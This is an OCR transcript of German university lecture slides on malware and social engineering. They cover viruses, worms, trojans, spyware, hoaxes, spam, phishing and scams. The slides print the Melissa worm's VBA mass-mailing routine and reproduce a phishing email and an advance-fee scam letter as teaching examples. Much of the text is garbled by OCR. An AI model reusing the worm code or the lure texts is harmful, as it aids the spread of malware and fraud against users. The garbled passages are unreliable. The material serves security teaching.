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Teil I: Malware
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Computervirus

im weiten Sinne synonym fur Malware \ JOHN BRUNNER

NOCKWAVE
1949 John von Neumann: t& //}

,,oelbst reproduzierende Automaten®

1975 Brunner:
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1984 Fred Cohens

Der Tape-Worm des
Doktorarbeit

Schockwellenreiters
war Namensgeber des

1986 ,,Brain‘“-Virus Computerwurdms

| 987 Erster Virenscanner
| 988 Internet-Worm
1992 ,,Michelangelo*
1999 ,,Melissa*

2000 ,,l Love You*

2003 ,,Blaster* und ,,Sobig"

2004 ,,Netsky* und ,,Bagle*

Fred Cohen
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Mobile Malware

Humber of mohile malware
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Viren

im engen Sinne
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Virus

Programm
Selbst-Reproduzierend
Infizierend, benotigt Wirt

Mit oder
ohne Schadensfunktion
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Klassifikation nach Wirt

Bootsektor (Floppy)
Master Boot Record (HD)

Bootzektoriren

Programm

Multipart
(Boot + Datei)

Makro

Email-Attachment



Dateiviren-Arbeitsweise
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Dark Angel's Phunky Virus Writing Guide



Macroviren-Aufbau

@ String Type

® Import/E<port To 4 File

Autoexec-Macro
ersetzt Normal.dot

FileSaveAs,
FileSave,
FileOpen,
ToolsMacros

Schadensroutine



Macroviren-Ausfuhren

e Laden des infizierten
Normal.dot

e Laden eines
sauberen Dokuments
FileOpen, AutoOpen

e Infizieren des
Dokuments

e Ausfuhren der
Schadensfunktion
PaylLoad

Macroz Available In:

All Active Templates




Infos Uber Viren

Was ist ein Computervirus?

+ Ein Virus ist ein Computercode, der sich salbst ohne
deine Erlaubnis kopisrt.

+ Einige Viren haben zarstorerische Schadansfunktionsn.

+ Alle \iren beanspruchen Systamressourcen (Speicher,
Festplattanspeichar usw.).

+ Viren werden von Menschen geschrieban, sie tauchan
nicht einfach aus dem Michts auf.

» Einige \iren versteckan sich in anderan Dateien und werden
aktiviert, wern ein Armwendar aine infizierte Datei offnet.

» Heutzutage existieren mebr als 72,000 Yiren und jeden
Monat erschainen 1.000 neue Viren (Stand: Marz 2002).

+ [Die Mehrheit der Viren befindet sich nicht "in freier
Wildbahn®, a0 dass es aher urwahrschainlich ist,
auf sie 2u stoBen.

» Yines information B I

Q oLt are now S uraLadect |

WilMs 7S urround-A

Wie kéinnen Viren einen Computer
infizieren?

* Um einen Computer zu infizieren, muss ein Virus
seinen Code ausfihren konnen.

+ Viren ksnnen Ober E-Mails, Disketten und CO-ROMs
in dainan Computer galangsn.

SOPHOS

Vo the Tentacle Visus!

Der Tentace-Vius

e | 50-Virus

MK Words ¥.2

AR 18 COmng 500,

.......

WeMs T Chans -8

Wie kannst du dich vor Computer-

viren schiltzen?

= Viran kinnen sich Ober sogenannte Makros in Dateian
von Microsoft Word und Excel verbraiten. Spaichere
Word-Dateign im Rich Text Format (ETF) und nicht
als Dokument (DOC).

« Offna kaine E-Mail-Attachmants, es sai denn, du hast
sig arwartet,

» Lade keine Datzien aus demn Inkernet harinter,

+ Lade keine raubkopierte Software aus dem Intermet
herunter oder kopiara sia.

= [berprufe Disketten immer auf Viren, bevor du sie
varwendest.

+ Ignoriare Hoax-E-Mails und leite sie auf keinen Fall weiter,
Hoax-E-Mails sind meist Viremwamungen, Infomationen,
wie man ganz schnall reich wird, oder Kattenbriefa.

= Bobwenn millions of paapla
; o | araund the world | feund you,
=1 Don't ferget to remembar this day
Y i‘;u" every time MY FRIEMD!
o Wi U @l Bl el pii s h . coi
EETE
W32 kec fu-A

Wer schreibt Computerviren?

= [Dig Mehrzahl der Viranschreibar ist mannlich und
rwischen 14 und 24 Jahren alt.

= [Die meisten von ihnen haben varmuotlich kain aktives
soZiales Leban oder eine Freundin,

+ Sobald ain Virenschraiber die Universitit besucht, einen
Freundazkreis aufbaut und anderen Aktivitaten
nachgeht, hort er maistans mit dam \Viranschraiben auf,

+ Virenschreiben ist alles anderg als cool und kann
dich in groBe Schwierigkeitan bringen. Der britische
Virerschraibar Christopher Pile wurde 2u 18 Monatan
Gefangnis verurteilt.

Iriformaticnan zur
Verfilgung gestallt von:

SOPHOS

www.sophos.de

r
Quote for the Momernt

"First thing fret, but notnecessanily N
thal order,

-0, 'Whin, Meglos

WiManiMichaeB

Pretty

Der WAZDretty-Wrus der sich als Kyle von
Sough Park g

Onel e Guaman - mutmadicher Ao ges
Loweletier Vius



Wurmer
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Wurmer

Oft ebenfalls als «Virus» bezeichnet

Selbst-reproduzierend

Nicht-infizierend Step 3 “:.:{' Spread in
Em“kﬁ‘h?f“i“i“%g
Mailwurmer e
Attachments N,
Stealth G

MAPI (Mail API) L

| Address Book |
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Microsoft Word

®
Please Check vour OutLook [nbox E-Mail | W r m M e I I S S a
L
e |.,I

Set UngaDasOutlook = CreateObject ("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace ("MAPI")
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "...
by Kwyjibo" Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists (y)
x =1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries (x)
BreakUmOffASlice.Recipients.Add Peep
X = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count

Next oo
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"

BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next vy
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY CURRENT USER\Software\Microsoft\Office\", "Melissa?") = "...
by Kwyjibo"
End If
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- HELLO! - Metscape

File Edit “iew Go Communicator Help

142 A Vet e0 B o

Epidemie

Code Red, 2001

Welcome to hitp:/fwww wormn.com |

Hacked By Chinesel
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Top len

Top ten viruses reported to Sophos in February 2006

Sousca: Goptca Ple wawsscheicen

Top ten viruses reported to Sophos in 2005

|
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Beusca: Soptea Ple wawossshes c2n



Trojanische Pferde
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Trojanische Pferde

Nicht-Reproduzierend

Nicht-Infizierend

Verdeckte Schadensroutine:

Daten loschen oder verandern
Password Sniffer
Keylogger

Backdoor
(Back Orifice, NetBus)

dDOS
Spam

Spyware
Rootkit (Sony XCP Aurora)

Der Trager (dropper) ist nicht der Schadling (payload)
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File managet | Host
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Application redirect
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* @ Capture screen image

@ Cool funchions

- ? Capture camera video
k Record sound
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Vorbeugen




Spyware



GI-ILL 2006 Jochen Koubek 09. Marz 2006

«Legale» Installation

a Yes I hear you, yes, your voice....It reaches the world inside me - |5‘ |£|

File Edit ‘ew Favorites Tools  Help 'l"r

QBack - L) - \ﬂ @ :] f.jSearch “*E:Lq‘ Fawvarites @Media €‘3| ) = :1?_ 3
Address I:E] hktp:[fidaylight-outbreak, blogspok, com ""I L G0

8 Blogger TTYY: - CEZYOUR OWN BLOG | | NEXT BLOG»

Security Warning il

Do pou want o install and s "YOU have an OUT OF
DATE browser which can cause vou to get infected with
wiruges, spam and spyware. To prevent this prezs YES
now'" signed on an unknown datedtime and distributed by:

Entermet Media lnc.

FPublizher authenticity verfied by WenSign Clazs 3 Code
Sigring 2007 CA

Caution: Enternet Media Inc. aszerts that thiz content 1z
zafe. “vou should only nstallfiew this content if you tust
Enternet Media Inc. to make that assertion.

Acting tough, Una ™ Abwaps trust content from Enternet Media Inc, ne most
important thing is
ves |[THETT] Mo Info
About Me sunday, February 20, 2005
¢ % © | Name:Muhammad lsmail _ _
i w = | Location:Singapore, Nﬂt f‘EEIl“g W'E“, EIgEIII‘I.
Fam Hougang, Singapore YWell, as the heading goes, | am not feeling so well. | have not =
|€| Cpening page btkp:jfdavlight-outbreak, blogspok. com)f. .. | |<% | |ﬂ Internet

i 5tart| & (B @) Urtitled - windows Medi. .. | &1 Yes I hear you, yes, ¥... |. 9:51 AM
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Browser Helper
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Advertising-supported software
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Pop-Ups

Frid EBARRELIBA
F e modam
Llick hare 1o Nind el maord

L Color Mririer

| for vnder SO0 =0,
Phaser 8400

Color Printer

3 INSWEB'

Lirmrar wour insurance cost

Wiorkl's lastest color printer

$999 =

=10 %]

o ©

s g m

You can add AOL® for Broadband to any
high-speed cable or DSL connection!

Warks with and enhances any basi
hig h-4pead conmection

Built-ln protectlon for you and your family

Thee beest om-demand and exclusive
pregramming online

FREE K e

Take this free test!

b of coffee,

L]
] : b sl b bl ok o T al-

k Sciance Proves it Dmkeang Causes
k Teen Gils Beware: Popular Boys Do THIS
k Loak What Was Found in Siane Age Ca POWER

¥ Strange Space Object Mystery Deapans
=k Did You See YWhat Bush Dared to Wear?
Address i- b I You Get This E-Mail Scam, Delete It

15 FREE

GUIDES

MORTGALGE

TRAVELZOO

This Week's 7
on the Interns
Releazed APRIL 14

Song
CheapCanbbaan ¢t

Ll f T} L owerr wour cost, nol your popectalions. -
Here

-
gl Are You Pa

; Linglert onefle Dvanales. o - H-.tma-;l'l_l'nlg:r!l_.' E:EE!:&
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-
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L

"‘ HomebLeanCenter.com
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Schutzmoglichkeiten

) o

\)\tf‘ ‘i(\

Risiko friher: ungeschiitzter & &\ e “
Software-Tausch mit N/~

haufig wechselnden Tauschpartnern

Risiko heute: Unwissende und
vertrauensselige Nutzer

Sicherheitslucken in Anwendungen oder im
Betriebssystem



HU-Berlin Informatik — Mensch — Gesellschaft 23.Marz 2006

Pravention

Aufklarung

Backups anleger Liebe Windows-User:

Keine dubiosen

Attachments offnen ”We Iove YOU. !H

Keine Kettenbriefe
weiterleiten (s. u.)

Anti-Malware-Software
Monitore
Authentizitatsprufer
Scanner
Heuristische Scanner

API-Scanner (TruPrevent) -

Fi rewal I Think different.
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Behandlung

Restaurierung (Backup)
Desinfektion

Serum

Pflaster (Patches)

Impfung
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Teil Il: Social Engineering




Hoax
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Hoaxes/Kettenbriefe
Soziale Viren

Aufbau
Aufhanger
Drohung
Aufforderung
Erkennungsmerkmale
Technische Sprache
Glaubwurdigkeit durch Autoritat

. Schick mich an Alle!*
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Hoax Beispiel |/3

Der Aufhinger
> Subject: Viruswarnung

>VIRUSWARNUNG!'!

> Es wurde gerade ein neues Virus festgestellt, den Microsoft und

> McAfee als den bisher gefahrlichsten Virus iberhaupt bezeichnen!

> Dieses Virus wurde erst am Freitag nachmittag von McAfee
> festgestellt und wird noch nicht von Virenscannern erkannt. Das
> Virus zerstort den Null-Sektor der Festplatte, wo wichtige

> Informationen fir die Funktion der Festplatte gespeichert sind.
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Hoax Beispiel 2/3

Die Drohung

vV VVV VVVV VYV VYV VV VYV V VYV VY

Die Funktionsweise des Virus ist wie folgt:

Das Virus versendet sich automatisch an alle Kontaktadressen
aus dem Email-Adressbuch und gibt als Betrefftext

"A Virtual Card for You" an.

Sobald die vorgebliche virtuelle Postkarte gedcffnet wird,
bleibt der Rechner hangen, sodass der Anwender einen Neustart

vornehmen muss.

Wird nun die Kombination [Strg]+[Alt]+[Del] oder der Reset-Knopf am
Rechnergehause gedrickt, loscht das Virus den Null-Sektor der
Festplatte, womit die Festplatte dauerhaft unbrauchbar ist. Wenn Sie
also eine Nachricht mit dem Betreff "A Virtual Card for You"
erhalten, offnen Sie diese mail KEINESFALLS, sondern loschen Sie die

Nachricht sofort.

Am Freitag hat dieses Virus Innerhalb weniger Stunden geradezu eine
Panik unter EDV-Usern in New York verursacht, wie CNN berichtet
http://www.cnn.com <http://www.cnn.com

<http://www.cnn.com<http://www.cnn.com> >>
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Hoax Beispiel 3/3

Die Aufforderung

> Bitte leite das vorliegende Mail an alle Personen in Ihrem
> Email-Verzeichnis weiter. Es ist sicherlich besser, diese

> Nachricht 25 Mal zu erhalten, als gar nicht!



Kettenbriefe
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Varianten

Originaltext:

Wer es loscht hat kein Herz.

Hallo mein Name ist Krita Marie und habe wvor kurzen

eine kleine Tochter erhalten, die Natalie heisst. Vor
kurzem haben die Arzte festgestellt, dass meine kleine
Matalie Hirnkrebs hat.

Unglicklicherweise ist es meinem Mann und mir nicht
miglich diese Operation zu bezahlen, abere mein Ehemann
und ich haben von AQOL hilfe bekommen. Sie helfen uns indem

Bitte sende dieses Mail, an jede Person die du kennst und hilf
unserer kleinen Natalie.

L T L

Diese E-Mail ist frei wvon Viren

Pyramiden-Systeme (Schneeball-Systeme, 'Make Money Fast')

Gewinnspiele und Artverwandtes

Glucksbriefe

Tranendrisen-Briefe (engl. "Charity Hoaxes") (s. 0.)
Sinnlose E-Petitionen

Urban Legends

gie uns 5 Cents geben, flir jede Person die dieses E-Mail bekommt.




Spam
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®  Absender

Luis

Elma Brennan
Alexander

Doctor

Anwalt

Meredith Singleton
David Murphy
Cathryn Hunt
Peter

Carmen Deleon
Milford Blevins
Lakisha

Ingrid Morrow
T-0nline Online 5tore
sung

Edgar Sheehan
Diann Reece
Roderick Schmidt
Jamie Huerta
Pasguale Hansen
Rosendo Putnam
bearnard hercules
eal antony
Armando Hayes
Parker Henson
Philip

Tamra Collins
Felix Paul

Mr Escobar
Winfred

Ezekiel King
Euphemia Wiechmann
Gerben Morlock
Kerstin Nava

Betreff

FrERELPAMAFE** Hits: 7.1 want to meet?

Special Situation Report

FREEESPAMAF=** Hits: 20.7 * Propecia Maxaman Flomax *
FrEEELPAM**=** Hits: 16.3 The Ultimate Online Pharmaceutical
sRrEsPAM**=** Hits: 13.3 Sehr Dringend

Investment ldea For You

ke SPAM***** Hitg: 17.2 Software At Low Prlce

Best Wall Street Solutions

sarEESPAM**=** Hits: 16.2 Clalis 10 Pills 20 mg 389.95
Why Do We Love OTC 5tocks?

Your wife wants it bigger.

loak no maore

SpecMoney Stock

ekRECPAM* % Hits: 24.5 thr Auftrag #92557 im Wertvon 729 ...

HEEESPAM**=** Hits: 20.8 ONLINE MEDICATIONT easy! Rich
This Weelk's Target 5tock

Triple Play Stock

Are You a Microcap Player?

Equity Alert

Diamond Equities

increase in sexual desire

Jochen.koubek@rz. hu-berlin.de
Jjochen.koubek@hu-berlin.de

**EEESPAM**=** Hits: 20.0 What IS OEM Software And Why DO Yo...

FEEELPAMAFERE Hits: 22.3 increase in sexual desire
FHREESPAM* = Hits: 20.7 Men Health

FHREESPAM* = Hits: 22.1 just like oryginal

Lydia schuetz sich hiermit

help "me" getting rid of stress, fatigue and depression
FHrEESPAM**=** Hits: 11.3 hello!

kRS PAM***** Hits: 13.4 Buy OEM Software

Re: Pajaramcy news

Re: Pajaramcy news

Re: Pajaramcy news

Empfangen
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Cestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern
Gestern

& | Gesendet
00:14 Gestern
00:36 GCestern
00:40 07.03.2006
03:29 07.03.2006
04:19 GCestern
05:02 Gestern
05:14 Gestern
05:25 Gestern
05:30 07.03.2006
05:41 Gestern
06:03 GCestern
07:08 Heute
08:56 Gestern
09:07 Gestern
09:37 Cestern
09:39 Gestern
10:45 GCestern
10:47 Gestern
10:48 Gestern
10:51 Gestern
11:50 CGCestern
12:05 06.03.2006
12:05 06.03.20006
12:30 GCestern
13:11 07.03.2006
13:24 GCestern
13:27 Gestern
13:37 Gestern
14:27 Gestern
18:30 Heute
20:29 Gestern
20:34 Gestern
20:34 Gestern
20:35 Gestern
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Angriff

DEUTSCHE POSTBANK <support_id_01242713756 @postbank.de>
POSTBANK INTERNET BANKING [Fri, 17 Jun 2005 07:56:30 -0200]
17. Juni 2005 11:56:30 MESZ

jochen_klee@yahoo.de

4 1 Anhang, 8,7 KB

& postbank

Sichern - Drias honw

mehr geehrte Eundin, sehr geehrter Eunde,

Der technizche Dienst der Bank fubrt die planmassige Aktualisierung der Software durch Fur die
Altualisierung der Eundendatenbankt 15t es notig, Thre Bankdaten erneut zu bestatigen. Dafuer
mussen 21e unseren Link (unten) besuchen, wo Thnen eine spezielle Form zum Ausfullen

angeboten wird.

hitpsfbantang posthank defapp/cust detals confirmation page.do

Diese Anwetsung wird an allen Bankkunden gesandt und 1zt zum Erfullen erforderlich

W biatten um Yerstandniz und bedanken uns fur die Zuzammenarbeit



I postbank - Leistung ohne Umwege - Mozilla Firefox

Daktei Bearbeiten  Ansicht

@ - & Q 0|

+ Bktuelle Machrichte. ..
HaUTIanZerumng

Altersvarsarge
Online-Services
Maobhile Services

Vermagensheratung

Markt & Research
Presse

Imvestor Relations
Wir uiber uns

Karriere

Deutsche Post \GF World Net

MR EXFRESE (OOSTICE FRNANCE

| Ubertrage Daten wan www.pnstlﬁaﬁk.dé.ﬁl&:de jk._hnrr;e-phdé.p;k _produkkeundpreise. pbde_pk_serviceundkredite-0094500184 3, backup-serverls, com. ..

iaehe  Lesezeichen Extras  Hilfe

=8| %]

gt

HL-I!_-IIII. LRI L™ LS Sy gy iy R E S LII-IIJ_LIH!_-II!_-II.

Wir haben aulierst aufimerksam jeden Geldmitteldiebstahlfall von den
Konten untersucht und haben somit eine Kriterienliste der verdachiigen

iDperation zusammengestellt.

Gegernwartig haben wir ein neues elekironisches Schutzsystermn, um den
Zutritt zu den Bankkaonten zu verhindern, das auf der Feststellung van
diesen Kriterien hasiert, entwickelt und es ist praktisch einsatzbereit.

Wenn die Transaktion werdachtig scheint, stellt das System eine

Geheimfrage. Wenn es darauf keine Antwort bekommt, sowerden
laufende Transaktion und Konto, von dem sie gemacht wourde, bis zur

Klarung der Umstande blockier.

LIm dag System funktionieren zu lassen, hitten wir Sie, die Form der
rusatrlichen Autorisation auszufillen (Achtung! Wir hitten Sie login und

Fasswaort von lhrem elektronischen Konto anzugeben).

Name: |

Familienname: |

Telefon - Nr.: |

Kontonummer: ] (Cnline-Banking)

PIN: |

TAN: 1

CACHTUMG! Wenvenden Sie bitte zukiinftig diese
TAN nicht, das fiihit zur Blodkierung wvom Konto)

Gehemfrage: |

Anmtwort auf die
Geheimfrage: |

OK QO

Wir hoffen, dass Sie jenes Schufznivead, das unsere nede
avstemsicherheit anbietet und garantiert, richtig bewerten.

Danke fir die Zusammenarbeit,
Administration der PostBank

hikkp: ) fuwvaw, postbank, de.pbde_pk_home-pbde. pl_produkteundpreise, pbde J:uk_serviceundkredite-DD'34SDD1843.I:uan:kup-LJ '@' @0 “GL

werklos ist, = ﬂ
Posthank Newsletter

Infos, die sich lohnen!

Jda, ich aboanniere kostenlos:
| Postbank Seldwert

[T Paostbank AnlageWwelt

Postbank Business

update
Anrede: Frau f Herr

YWorname: |
Mame: |
E-Mail*: |

* erforderliche Angabe

Datenschutz abschicken u

Postbank ist nationaler Forderer
der FIFA WM 2006™

@. FIFA LM 2006
?ﬂ DEUTSCHLAND

& Postbank
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Merkmale

Achten Sie auf die Warnsignale! ‘

Unklare
Absenderadresse

Eine personliche
Anrede fehlt

Es fehlt eine personliche
Kundenummer

e

r
jripe  Frnfbard, Onlre-Bardirg

beweist nicht die £ Postbank
Echtheit der Mail

Der Inhalt erscheint
glaubwiirdig, doch die
bt die | mangelhafte Recht-
e T S i P p— Y schreibung und die
e fehlenden Umlaute

Ein offizielles Logo [ TN\ j

Vor dem Anklicken eines Mg Ausillen Asgs
Links immer die Adresse A NPT

: . wie @ o U sollten
II"I der Etat LIS"L E‘I ste unten g Anweisung winl an &2k 192 Thrd T Et utzi ma{:hen
pfﬂfEﬂ, hier Ers ChEint Wir Billen mm Vomlandsis usd hedanken g

die wirkliche URL

Der ,,Phishing-Link" sieht echt
Es gibt keine Moglichkeit \ aus, doch eine Bank wiirde ihre
die eigene Adresse aus Kunden nie iiber einen Link in
dem Verteiler zu loschen einer E-Mail auffordern, sich auf
(,unsubscribe®) J ihrer Webseite einzuloggen

Die gesamte Mail (und nicht
nur der Link) ist anklickbar und
verbindet mit der falschen Seite

Quelle: @ MailFrontier




Scam



HU-Berlin

Informatik — Mensch — Gesellschaft

23. Marz 2006

Angebot

= 4 [
& [ [ b P = | 1

E-Mailis) Gschen Ist Werbung Antwaorten An alle Weiterleiten Drucken

Von: Simon <smuzender01@netscape.net=
detrefl: Geschatftliches Angebot
Datum: 20. Marz 2005 18:54:53 MEZ
Antwort an: smuzender01@netscape.net

Sie mogen Uberrascht sein, diesen Brief von mir zu erhalten, da Sie mich

nicht persdnlich kennen. Der Grund meiner Vorstellung ist, dass ich Simon
Muzenda der alteste Sohn von Paul Muzenda bin , einem Farmer in Simbabwe,
der kirzlich im Landstreit in meinem Land ermordet wurde.

lch bekam den Kontakt zu Innen Gber das Internet, daher beschloss ich Ihnen
ZU schreiben.

Vor dem Tod meines Vaters hatte er mich mit nach Johannesburg genommen, um
8,5 Millionen US-$ in einer privaten Sicherheitsfirma zu hinterlegen, da er

die lauernde Gefahr in Simbabwe voraussah, legte er sein Geld in Form von
Edelsteinen an. Die Summe war gedacht zum Erwerb neuer Maschinen und
Chemikalien fur die Farmen und zur Etablierung einer neuen Farm in
Swaziland.

Die Landprobleme begannen, als unser Prasident Robert Mugabe eine Landreform
einfuhrte, die sich vorwiegend auf weile reiche Farmer und einige wenige
schwarze Farmer auswirkte und in der Ermordung und Uberfallen durch
Kriegsveteranen und einige andere Geistesqgestorie gipfelte. Tatsachlich
wurden eine Menge Menschen ermordet, eines der Opfer war mein Vater.
Wegen dieses Hintergrundes floh ich mit meiner Familie aus Simbabwe, um
unsre Leben zu retten und lebe vorubergehend in den Niederlanden, wo wir um
politisches Asyl ersuchen und beschlossen haben, das Geld meines Vaters zu
transferieren auf ein besser erreichbares auslandisches Konto, da die

Gesetze der Niederlande einem Fllchtling verbieten ein Konto zu ertffnen
oder in irgendwelche finanziellen Transaktionen innerhalb der Niederlande
involviert zu sein.



09. Marz 2006

4 |9 Eater




